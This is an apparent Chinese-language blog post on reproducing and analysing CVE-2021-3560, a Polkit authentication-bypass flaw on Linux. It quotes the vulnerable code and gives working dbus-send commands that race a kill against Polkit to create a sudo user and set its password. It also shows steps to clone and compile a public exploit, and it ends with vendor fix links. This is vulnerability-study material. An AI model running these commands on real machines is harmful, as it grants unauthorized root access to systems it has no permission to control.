CVE-2021-3560 Polkit权限提升漏洞复现与分析

0x00 简介

Polkit是Linux上的一个系统服务,其用于实现权限管理,通过给非特权进程授权,允许具有特权的进程(或者库文件lib)给非特权进程提供服务,由于Polkit被systemd使用,所有使用systemd的Linux发行版都会装有Polkit。

CVE-2021-3560 Polkit权限提升漏洞复现与分析_第1张图片

2021年06月03日,RedHat发布安全公告,修复了Linux Polkit中一个存在了7年的权限提升漏洞(CVE-2021-3560),该漏洞的CVSS评分为7.8,成功利用此漏洞的攻击者能够获得系统上的 root 权限。

0x01 漏洞概述

Polkit授权是通过服务进程polkitd来完成的,当非特权进程需要访问特权进程服务时,特权进程会通过 system message dbus 向 polkitd 请求权限认证。

Polkit 则会根据特权进程提供的信息和权限配置文件进行认证,认证完成后将认证结果返回给特权进程,特权进程会根据认证结果来决定是否给非特权进程提供服务。

而CVE-2021-3560漏洞时polkit服务上的身份验证绕过漏洞,允许非特权用户使用dbus调用特权方法,也就可以调用有账户服务提供的2个特权方法(CreatUser和SetPasswd),所以攻击者就可以调用这两个方法来创建一个超级用户。

0x02 影响版本

RHEL 8
Fedora 21 (or later)
Debian testing ("bullseye")
Ubuntu 20.04

函数polkit_system_bus_name_get_creds_sync用于获取请求操作的进程的uid和pid,该函数通过发送请求进程的唯一总线名称到 dbus-daemon 。这些唯一的名字有dbus-daemon来分配和管理,且该名称不能被伪造,所以这是一个很好的检查进程权限的方法。

而漏洞就产生于请求进程在调用 polkit_system_bus_name_get_creds_sync 之前就与 dbus-daemon 断开连接,导致该进程无法获得进程唯一的uid和pid,也就无法验证请求进程的权限。

0x03 环境搭建

1.下载Ubuntu20.04镜像;

http://releases.ubuntu.com/20.04/ubuntu-20.04.2.0-desktop-amd64.iso

2.在虚拟机上进行安装(可以选择Vmware Workstation),具体安装Ubuntu虚拟机步骤可以自行上网搜索;

3.安装完Ubuntu系统后自行安装必要软件;

sudo apt update
sudo apt install vim
sudo apt install gcc

在后续编译过程中可能会遇到如下编译问题

CVE-2021-3560 Polkit权限提升漏洞复现与分析_第2张图片

需要先安装libdbus,执行如下指令

sudo apt install libdbus-glib-1-dev

CVE-2021-3560 Polkit权限提升漏洞复现与分析_第3张图片

0x04 漏洞分析

Polkit的应用之一就是pkexec,pkexec与sudo类似,允许以root用户身份运行命令。如果在图形会话中运行pkexec,它将弹出一个对话框。如下图所示:

CVE-2021-3560 Polkit权限提升漏洞复现与分析_第4张图片

首先来看一下dbus-send命令执行期间涉及到的几个进程之间的关系,如下图所示:

CVE-2021-3560 Polkit权限提升漏洞复现与分析_第5张图片

其中虚线上方的 dbus-send 和 Authentication Agent 是非特权进程,虚线下方的 dbus-daemon、accounts-daemon 和 polkit 是特权进程。

当通过dbus创建新用户时,流程大致如下:

当 dbus-send 向 account-daemon 发起创建新用户的请求时,该请求会先发送到 dbus-daemon

dbus-daemon 再附加一个类似“1.96”这样的 dbus id到消息中

然后将该请求消息发送给 account-daemon 

account-daemon 收到请求后向 polkit 询问该 dbus id 为 1.96 的连接是否具有权限

polkit又向 dbus-daemon 询问该连接的 uid 

如果 dbus-daemon 返回的 uid 为 0 ,polkit 就会立即对这个请求进行授权,否则 polkit 会向 Authentication agent 发送允许授权请求的管理员列表

Authentication agent 会打开一个验证窗口验证用户输入的密码,并将密码发给 polkit

polkit 返回 True 给 account-daemon

account-daemon 创建新用户

当 polkit 向 dbus-daemon 询问 dbus id 为 1.96 的连接的 UID 时,如果在 polkit 和 dbus-daemon 还在交互的时候此时该连接已断开,那就不存在这个连接,dbus-daemon就会返回错误。

而漏洞就存在于 polkit 处理从 dbus-daemon 返回的错误信息时,polkit 并没有拒绝该请求,反而将该连接视为 UID 为 0 的进程并授权。

漏洞代码如下:

/* every subject has a user; this is supplied by the client, so we rely
 * on the caller to validate its acceptability. */
user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                       subject, NULL,
                                                                       error);
if (user_of_subject == NULL)
    goto out;

/* special case: uid 0, root, is _always_ authorized for anything */
if (POLKIT_IS_UNIX_USER (user_of_subject) && polkit_unix_user_get_uid (POLKIT_UNIX_USER (user_of_subject)) == 0)
  {
     
    result = polkit_authorization_result_new (TRUE, FALSE, NULL);
    goto out;
  }

以下是 polkit_authorization_result_new 函数原型:

PolkitAuthorizationResult *
polkit_authorization_result_new (gboolean is_authorized,
                                 gboolean is_challenge,
                                 PolkitDetails *details);

可以看到 polkit_backend_session_monitor_get_user_for_subject 函数虽然设置了 error 参数,但是在后面的代码中并未对 error 的情况进行校验处理,导致跳到了第二个if语句,且在 error 的时候能满足判断条件,执行 polkit_authorization_result_new (TRUE, FALSE, NULL) 授权成功。

以下是通过 dbus 指令来还原整个授权过程并给新创建的用户设置密码。

首先执行以下指令启动ssh服务,命令如下:

sudo service sshd start

CVE-2021-3560 Polkit权限提升漏洞复现与分析_第6张图片

通过ssh连接至本地,命令如下。

ssh [email protected]

CVE-2021-3560 Polkit权限提升漏洞复现与分析_第7张图片

此时在ssh连接的文本模式会话中执行pkexec就会启动文本模式验证。如下所示:

CVE-2021-3560 Polkit权限提升漏洞复现与分析_第8张图片

而dbus-send指令则可以从命令行触发polkit认证,dbus-send是发送D-Bus消息的工具,主要用于测试,比如模拟图形界面可能发送的创建新用户的指令,如果在文本模式会话中执行,则会立即失败,这是因为不同于pkexec,dbus-send不会启动自己的身份验证代理程序。如下图所示:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:zeeker string:"Zeeker Security" int32:1

image-20210703024312780

CVE-2021-3560漏洞是通过启动dbus-send命令并在polkit仍在处理请求的过程中杀死进程断开连接来触发的,所以要kill掉该进程我们首先需要测试一下执行dbus-send需要多长时间。执行以下指令:

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:zeeker string:"Zeeker Security" int32:1

执行后如下图所示:

CVE-2021-3560 Polkit权限提升漏洞复现与分析_第9张图片

可以看到,执行需要0.009秒,结果多次测试,平均需要11毫秒,最快是9毫秒,所以为了在成功执行dbus-send之前杀死该进程,我们需要在执行完这条指令后6毫秒执行kill指令。

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:zeeker string:"Zeeker Security" int32:1 & sleep 0.006s ; kill $!

执行后如下图所示:

CVE-2021-3560 Polkit权限提升漏洞复现与分析_第10张图片

几次执行可能都会失败,多执行几次,当一次执行成功后就可以看到zeeker用户已经成功创建,并且该用户在sudo组中,具有sudo权限。。

(如果执行了几十次上百次都不成功,请直接跳到下面的漏洞复现步骤用脚本进行尝试,如果无法复现,那么可能是测试的系统已经修复了这个漏洞)。

此时我们成功通过漏洞创建了一个用户,但是没有设置密码就无法登录,接下来我们尝试通过dbus来设置密码,但是dbus接口设置密码要通过散列值来设置,这里我们使用openssl来生成,执行以下指令(最后一个参数替换成你要设置的密码):

openssl passwd -5 zeekersec

这里的 -5 参数是指定 sha256 算法来生成散列值,如果是 -6 就是 sha512,-1 就是 md5

执行后如下图,拿到密码对应的散列值,如图所示。

CVE-2021-3560 Polkit权限提升漏洞复现与分析_第11张图片

$5$.lkCAL3dgdW0pp4L$bA.aAAHBpnlJdDhaSAorFNE4vVKtoU1nGsxFsBNqRb7

现在结合这个散列值来给我们创建的用户设置密码,执行以下指令:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1003 org.freedesktop.Accounts.User.SetPassword string:'$5$.lkCAL3dgdW0pp4L$bA.aAAHBpnlJdDhaSAorFNE4vVKtoU1nGsxFsBNqRb7' string:Whatever & sleep 0.006s ; kill $!

这里注意修改散列值和Userid,比如前面通过 id 指令查看用户id的时候就有显示用户id,这里自行修改指令中的 User1003 部分。

同样多执行几次,成功后就可以用之前设置的密码(这里是 zeekersec )来进行登录了。如下图所示:

CVE-2021-3560 Polkit权限提升漏洞复现与分析_第12张图片

至此成功提权,可以以超级用户权限执行任意指令。

CVE-2021-3560 Polkit权限提升漏洞复现与分析_第13张图片

0x05 漏洞复现

1.下载POC

git clone https://github.com/hakivvi/CVE-2021-3560

2.使用以下指令编译 exploit.c

gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)

3.运行 exploit 程序。如下图所示:

CVE-2021-3560 Polkit权限提升漏洞复现与分析_第14张图片

可以看到已经成功创建了一个具有超级用户权限的无密码的pwned用户,可以直接以超级用户权限执行指令。如下图所示:

CVE-2021-3560 Polkit权限提升漏洞复现与分析_第15张图片

同时左边弹出了很多认证窗口,手动关闭即可

CVE-2021-3560 Polkit权限提升漏洞复现与分析_第16张图片

0x06 修复建议

参考各厂商对该漏洞的修复建议

RHEL 8:
https://access.redhat.com/security/cve/CVE-2021-3560

Fedora 21及更高版本:
https://bugzilla.redhat.com/show_bug.cgi?id=1967424

Debian testing (“bullseye”):
https://security-tracker.debian.org/tracker/CVE-2021-3560

Ubuntu 20.04:
https://ubuntu.com/security/CVE-2021-3560

你可能感兴趣的:(漏洞复现,网络安全,黑客,安全漏洞,信息安全,渗透测试)